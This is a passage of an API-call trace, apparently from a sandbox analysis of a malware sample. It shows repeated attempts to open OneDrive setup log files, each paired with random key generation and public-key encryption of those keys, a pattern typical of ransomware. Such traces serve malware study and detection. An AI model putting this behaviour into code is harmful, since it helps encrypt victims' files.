CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.590] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-11-10_161058_b2c-b34.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-11-10_161058_b2c-b34.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.590] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0172.594] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.594] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.594] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.594] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.594] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0172.598] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.598] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.598] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.598] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.598] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0172.609] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657e00) returned 1 [0172.609] CryptGetKeyParam (in: hKey=0x657e00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.609] CryptEncrypt (in: hKey=0x657e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x34e0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x34e0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.610] GetLastError () returned 0x0 [0172.610] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.610] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0172.620] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657a00) returned 1 [0172.620] CryptGetKeyParam (in: hKey=0x657a00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.620] CryptEncrypt (in: hKey=0x657a00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x34f0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x34f0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.621] GetLastError () returned 0x0 [0172.621] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.621] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-05-24_104600_528-57c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-05-24_104600_528-57c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.621] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.624] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.624] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.624] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.624] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.624] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0172.628] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.628] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.628] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.628] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.628] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0172.638] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657e40) returned 1 [0172.638] CryptGetKeyParam (in: hKey=0x657e40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.638] CryptEncrypt (in: hKey=0x657e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3500000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3500000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.639] GetLastError () returned 0x0 [0172.639] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.639] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.649] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657f80) returned 1 [0172.649] CryptGetKeyParam (in: hKey=0x657f80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.649] CryptEncrypt (in: hKey=0x657f80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3510000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3510000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.649] GetLastError () returned 0x0 [0172.649] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.649] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-07-12_164138_904-4d0.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-07-12_164138_904-4d0.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.649] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.652] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.653] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.653] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.653] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.653] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0172.656] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.656] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.656] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.656] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.657] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0172.667] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657ec0) returned 1 [0172.667] CryptGetKeyParam (in: hKey=0x657ec0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.667] CryptEncrypt (in: hKey=0x657ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3520000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3520000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.667] GetLastError () returned 0x0 [0172.667] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.667] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0172.678] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657c00) returned 1 [0172.678] CryptGetKeyParam (in: hKey=0x657c00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.678] CryptEncrypt (in: hKey=0x657c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3530000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3530000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.678] GetLastError () returned 0x0 [0172.678] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0172.678] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-11-10_161055_b54-c0c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-11-10_161055_b54-c0c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.678] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0172.682] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.682] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.682] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.682] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.682] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.686] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.686] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.686] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.686] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.687] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0172.697] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657ac0) returned 1 [0172.697] CryptGetKeyParam (in: hKey=0x657ac0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.697] CryptEncrypt (in: hKey=0x657ac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3540000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3540000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.697] GetLastError () returned 0x0 [0172.697] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.697] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.708] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657b00) returned 1 [0172.708] CryptGetKeyParam (in: hKey=0x657b00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.708] CryptEncrypt (in: hKey=0x657b00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3550000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3550000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.709] GetLastError () returned 0x0 [0172.709] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.709] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-12_164130_2e0-2c8.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-12_164130_2e0-2c8.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.709] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.712] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.712] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.712] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.712] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.712] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0172.716] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.716] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.716] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.716] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0172.716] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0172.726] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657b40) returned 1 [0172.727] CryptGetKeyParam (in: hKey=0x657b40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.727] CryptEncrypt (in: hKey=0x657b40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3560000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3560000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.727] GetLastError () returned 0x0 [0172.727] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0172.727] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0172.738] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657f00) returned 1 [0172.738] CryptGetKeyParam (in: hKey=0x657f00, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.738] CryptEncrypt (in: hKey=0x657f00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3570000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3570000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.738] GetLastError () returned 0x0 [0172.738] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.738] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-13_111425_fe4-f74.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-13_111425_fe4-f74.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.738] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.741] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.742] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.742] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.742] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.742] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.745] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.745] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.745] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.745] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.746] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0172.757] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657f40) returned 1 [0172.757] CryptGetKeyParam (in: hKey=0x657f40, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.757] CryptEncrypt (in: hKey=0x657f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3580000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3580000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.758] GetLastError () returned 0x0 [0172.758] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.758] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.768] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657b80) returned 1 [0172.768] CryptGetKeyParam (in: hKey=0x657b80, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.768] CryptEncrypt (in: hKey=0x657b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3590000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3590000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.768] GetLastError () returned 0x0 [0172.768] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.768] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-14_075507_d98-d94.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-14_075507_d98-d94.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.769] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.772] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.772] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.772] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0172.772] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.772] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0172.776] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0172.776] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0172.776] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0172.776] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0172.776] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0172.787] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657fc0) returned 1 [0172.787] CryptGetKeyParam (in: hKey=0x657fc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.787] CryptEncrypt (in: hKey=0x657fc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x36a0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x36a0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0172.787] GetLastError () returned 0x0 [0172.787] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0172.787] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0172.798] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x657bc0) returned 1 [0172.798] CryptGetKeyParam (in: hKey=0x657bc0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0172.798] CryptEncrypt (in: hKey=0x657bc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x36b0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x36b0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0172.798] GetLastError () returned 0x0 [0172.798] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0172.798] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-19_092447_b70-3a8.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-19_092447_b70-3a8.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0172.798] CryptAcquireContextW (in: phProv=0x285cd2c, 